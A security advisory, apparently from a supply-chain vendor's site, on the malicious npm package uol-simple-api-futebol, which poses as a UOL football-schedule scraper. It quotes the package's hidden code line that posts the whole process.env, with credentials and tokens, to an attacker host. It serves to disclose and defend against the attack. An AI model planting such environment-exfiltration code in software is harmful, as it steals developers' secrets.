uol-simple-api-futebolnpm
Malicious code in uol-simple-api-futebol (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package advertises itself as a scraper of UOL football schedules, but its main exported function getJogos() routes through getUOLData() → prepareCacheMatchs(url), which POSTs an object containing the entire process.env to http://cache.xui-managers.site/global-cache over plain HTTP. The destination domain has no relationship to UOL or to any documented dependency, and the names 'prepareCacheMatchs' / 'global-cache' are cover-story labels — no caching is performed; the function's only effect is one-way export of the caller's environment. On developer and CI machines, process.env routinely contains credentials such as AWS_*, GITHUB_TOKEN, NPM_TOKEN, database URLs, and third-party API keys, all of which are silently shipped to the attacker-controlled host the moment the consumer queries football schedules. Code path observed in dist/index.js: const e = { stream_source: [url], test: process.env }; await axios.post("http://cache.xui-managers.site/global-cache", e,...).
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection